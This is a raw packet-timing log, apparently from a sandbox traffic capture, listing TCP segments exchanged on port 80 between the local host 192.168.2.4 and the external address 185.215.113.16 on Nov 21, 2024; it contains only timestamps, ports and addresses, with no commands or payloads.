Nov 21, 2024 07:10:13.397746086 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.397785902 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.398510933 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.398575068 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.398616076 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.398658991 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.399414062 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.399548054 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.399590969 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.400329113 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.400485992 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.400528908 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.401262999 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.401304960 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.401309967 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.402066946 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.402111053 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.402221918 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.402987957 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.403034925 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.403058052 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.403096914 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.403848886 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.403955936 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.404000044 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.404726982 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.404855013 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.404896021 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.405617952 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.405746937 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.405797005 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.406491995 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.406531096 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.406627893 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.407368898 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.407411098 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.407525063 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.411179066 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.554960966 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.555130005 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.555133104 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.555263042 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.555453062 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.555495977 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.555603027 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.555648088 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.556328058 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.556375980 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.556503057 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.556544065 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.557205915 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.557255030 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.557518959 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.557734966 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.558137894 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.558182001 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.558321953 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.558367968 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.559048891 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.559067965 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.559113979 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.560045004 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.560065031 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.560091972 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.560107946 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.560663939 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.560707092 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.560853004 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.560869932 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.560894012 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.560897112 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.560902119 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.560935974 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.561259031 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.561300039 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.561362028 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.561405897 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.562154055 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.562195063 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.562253952 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.562295914 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.563039064 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.563086987 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.563131094 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.563173056 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.563929081 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.563973904 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.564022064 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.564063072 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.568118095 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.568165064 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.568294048 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.568312883 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.568331003 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.568337917 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.568350077 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.568350077 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.568361998 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.568370104 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.568387032 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.568417072 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.568959951 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.569010019 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.569154978 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.569202900 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.569700956 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.569720030 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.569745064 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.569753885 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.570538998 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.570585012 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.570710897 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.570755005 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.571614027 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.571633101 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.571655989 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.571667910 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.572308064 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.572351933 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.572493076 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.572539091 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.573270082 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.573288918 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.573317051 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.573363066 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.574057102 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.574100018 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.574244022 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.574287891 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.574958086 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.575002909 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.575149059 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.575340986 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.575864077 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.575908899 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.576047897 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.576090097 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.576771975 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.576812029 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.576937914 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.576982021 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.577496052 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.577538967 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.577692032 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.577734947 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.578397989 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.578440905 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.578593969 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.578638077 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.579281092 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.579330921 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.579477072 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.579523087 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.580193043 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.580243111 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.580369949 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.580415010 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.581104994 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.581151962 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.581299067 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.581340075 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.582175016 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.582192898 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.582212925 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.582226992 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.583072901 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.583092928 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.583116055 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.583133936 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.583950996 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.583970070 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.583992958 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.584014893 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.584805012 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.584824085 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.584845066 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.584857941 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.585743904 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.585762978 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.585786104 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.585802078 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.586606979 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.586626053 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.586646080 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.586664915 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.587527990 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.587546110 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.587573051 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.587583065 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.588430882 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.588449955 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.588479042 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.588494062 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.589147091 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.589198112 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.589318991 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.589363098 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.590048075 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.590065956 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.590087891 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.590097904 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.590924978 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.590969086 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.591126919 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.591171026 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.591820955 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.591865063 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.592001915 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.592041969 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.592688084 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.592736006 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.592870951 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.592916012 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.593592882 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.593611956 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.593637943 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.593647003 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.594443083 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.594486952 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.594589949 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.594634056 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.595280886 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.595325947 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.595459938 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.595499039 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.596338034 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.596385002 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.596510887 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.596551895 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.597126007 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.597168922 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.597299099 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.597342968 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.598035097 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.598079920 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.598233938 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.598278046 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.598778963 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.598824978 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.598968029 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.599005938 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.599889040 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.599908113 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.599932909 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.599942923 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.600686073 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.600728989 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.600863934 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.600904942 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.601072073 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.601114035 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.745768070 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.745891094 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.745985985 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.746280909 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.746310949 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.746335030 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.746357918 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.747075081 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.747145891 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.747148991 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.747185946 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.747965097 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.748009920 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.748050928 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.748095989 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.748862028 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.748905897 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.748956919 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.748996973 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.749783993 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.749830961 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.749905109 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.749946117 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.750636101 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.750680923 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.750720978 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.750763893 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.751513958 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.751560926 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.751629114 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.751669884 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.752388000 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.752433062 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.752513885 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.752557039 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.753288984 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.753329039 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.753429890 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.753469944 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.754158020 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.754203081 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.754276037 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.754322052 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.755042076 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.755085945 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.755151033 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.755193949 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.755958080 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.755997896 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.756052017 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.756088018 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.756808043 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.756850958 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.756895065 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.756936073 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.757719040 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.757761955 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.757827044 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.757867098 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.758593082 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.758636951 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.758678913 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.758723974 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.759489059 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.759533882 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.759589911 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.759634018 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.760356903 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.760401011 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.760462999 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.760504007 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.761286974 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.761327982 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.761354923 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.761395931 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.762132883 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.762172937 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.762237072 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.762279987 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.763005972 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.763150930 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.763199091 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.763895035 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.764000893 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.764051914 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.764784098 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.764843941 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.764902115 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.765186071 CET	49765	80	192.168.2.4	185.215.113.16
